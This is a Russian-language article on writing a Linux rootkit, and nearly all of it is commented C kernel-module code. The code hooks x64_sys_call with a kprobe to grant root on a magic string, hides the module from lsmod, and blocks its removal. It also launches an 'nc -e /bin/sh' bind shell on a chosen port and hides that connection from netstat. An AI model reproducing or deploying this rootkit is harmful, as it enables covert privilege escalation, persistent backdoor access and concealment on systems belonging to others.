Статья Пишем собственный руткит для Linux

// Структура kprobe описана в файле include/linux/kprobes.h
static struct kprobe  un = {
    // Место, куда мы будем ставить бряк (экспортированный ядром символ)
    .symbol_name = "kernel_clone",
    // Обработчик бряка
    .pre_handler = intercept,
};


static int __init init(void) {
// Регистрируем «пробу»
register_kprobe(&un);
...
}


static void __exit bye(void) {
// Удаляем «пробу»
unregister_kprobe(&un);
...
}

// regs — аргументы системного вызова
// nr — номер системного вызова
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    // Здесь находятся системные вызовы в качестве макросов вида SYSCALL_DEFINEX(name, args...),
    // где X — количество аргументов в syscall’e
    #include <asm/syscalls_64.h>


    default: return __x64_sys_ni_syscall(regs);
    }
};

// Идентификатор команды, которую будет отлавливать обработчик команд
#define ROOT "wanna_root"


// Наша проба
static struct kprobe  un = {
    .symbol_name = "x64_sys_call",
    // Обработчик
    .pre_handler = intercept,
};


static int intercept(struct kprobe *p,  struct pt_regs *regs) {
        // Проверяем номер системного вызова, передаваемый в x64_sys_call
        if (regs->si == __NR_write){
             // Сохраняем параметры, передаваемые вместе с write
             struct pt_regs *pRegs = (struct pt_regs*)regs->di;
            // Если текст, переданный в echo, совпадает с именем команды, то обрабатываем ее
            if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {
...

static int __init init(void) {
...
int err;
    err = register_kprobe(&un);
    if (err < 0) {
        pr_err("Failed to register kprobe, error: %d\n", err);
        return err;
    }
...
}

static int root_func(void){
    struct cred *newcreds;
    // Инициализация структуры
    newcreds = prepare_creds();
    if (newcreds == NULL){
    pr_alert("can't prepare creds\n");
        return 1;
    }
    // Выдаем себе рут
    newcreds->uid.val = newcreds->gid.val = 0;
    // euid и egid — «эффективные» привилегии, то есть привилегии запущенного процесса
    newcreds->euid.val = newcreds->egid.val = 0;
    newcreds->suid.val = newcreds->sgid.val = 0;
    newcreds->fsuid.val = newcreds->fsgid.val = 0;


    // Вносим свои изменения
    commit_creds(newcreds);
    return 0;


}

// Прячемся от команды lsmod — команды, выводящей все загруженные в память модули
static inline void  hide_func(void){
    // THIS_MODULE — глобальный макрос, позволяющий обратиться к структуре своего модуля
    // Поле list — связный список загруженных в память ядра модулей
    module_previous = THIS_MODULE->list.prev;


    // unlink
    module_previous->next = THIS_MODULE->list.next;
    hidden=1;
}


// Возвращаемся в строй
static inline void  show_func(void){
    // Нужно, чтобы не словить segfault
    if (module_previous !=NULL && hidden==1){
        module_previous->next = &THIS_MODULE->list;
        hidden=0;
    }
}

static inline void no_rm_func(void){
    atomic_t *pRefcnt = &THIS_MODULE->refcnt;
    // В ядре Linux для атомарных данных предусмотрен свой интерфейс
    atomic_set(pRefcnt, 1337);
}


static inline void yes_rm_func(void){
    atomic_t *pRefcnt = &THIS_MODULE->refcnt;
    // Возвращаем в исходное состояние
    atomic_set(pRefcnt, 1);
}

static int getFreePort(void){
    // Создаем временный сокет, чтобы найти свободный порт
    sock_create_kern(&init_net, PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock_tmp);


    // Получаем инициализированную структуру sock
    sk = sock_tmp->sk;


    int candidate = 1024;
    int max_port = 65536;


    for (int i = candidate; i < max_port; i++) {
        // Если порт свободен...
        if (!inet_csk_get_port(sk, i) ) {
            candidate = i;
            // ...освобождаем временный сокет, необходимый для определения свободного порта
            sock_release(sock_tmp);
            sk       = NULL;
            sock_tmp = NULL;
        pr_info("candidate: %d\n", candidate);
            return candidate;
        }
    }
    pr_info("BAD: %d\n", candidate);
    return -1;
}

// candidate — порт, на который вешается шелл
static void run_shell_nodelay(int candidate){
    char tmp[100];
    // Вешаем шелл на порт
    snprintf(tmp, sizeof(tmp), "nc -e /bin/sh -p %d -l", candidate);
    argv[2] = tmp;
    // Директория, в которой будет осуществляться поиск необходимых бинарников
    static char *envp[] = {"PATH=/bin:/sbin",NULL};


    // call_usermodehelper запускает процесс в пространстве пользователя
    // Флаг UMH_WAIT_EXEC заставляет ядро только ждать выполнения команды, не более
    if (call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC))
        pr_alert("umodehlpr returned error\n");
}

static int shll_func(const char *from_user_port){


    char buf[10] = {'\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00'};
    char* endptr = "\x00";


    // Парсим порт, который нам передал пользователь
    strncpy(buf, from_user_port + 11 , 5);
    port = simple_strtoul(buf, &endptr , 10);
    pr_info("port is: %lu\n",port);


    if (port < 1024 || port > 65536)
        return -1;


    // Ставим run_shell_delay в глобальную очередь ядра schedule_work(&wrk);    для отложенного выполнения
    INIT_WORK(&wrk, run_shell_delay);


    return 0;
}

// Сокет, с которого будет срисована информация
struct sock *sk = v;


    seq_setwidth(seq, TMPSZ - 1);
    // Если сокет будет иметь значение SEQ_START_TOKEN, то вместо него на экран будет выведена начальная строка
    if (v == SEQ_START_TOKEN) {
        seq_puts(seq, "  sl  local_address rem_address   st tx_queue "
               "rx_queue tr tm->when retrnsmt   uid  timeout "
               "inode");
        goto out;
    }

Попробуем воспользоваться этим для маскировки своего шелла:

static int tcp_hid_func(struct kprobe *p,  struct pt_regs *regs){


    // Если запись из netstat не является заголовком, выводимым командой
   if (regs->si != SEQ_START_TOKEN) {


    // Получаем сокет, информация о котором должна вывестись на экран
    struct sock *sk = (struct sock *)regs->si;


        // Прячем необходимое соединение
        if (sk && sk->sk_num == hid_port) {
            // Здесь грязный хак... Говорим, что это заголовок команды netstat :)
            regs->si = (unsigned long)SEQ_START_TOKEN;
        }
   }
    return 0;
}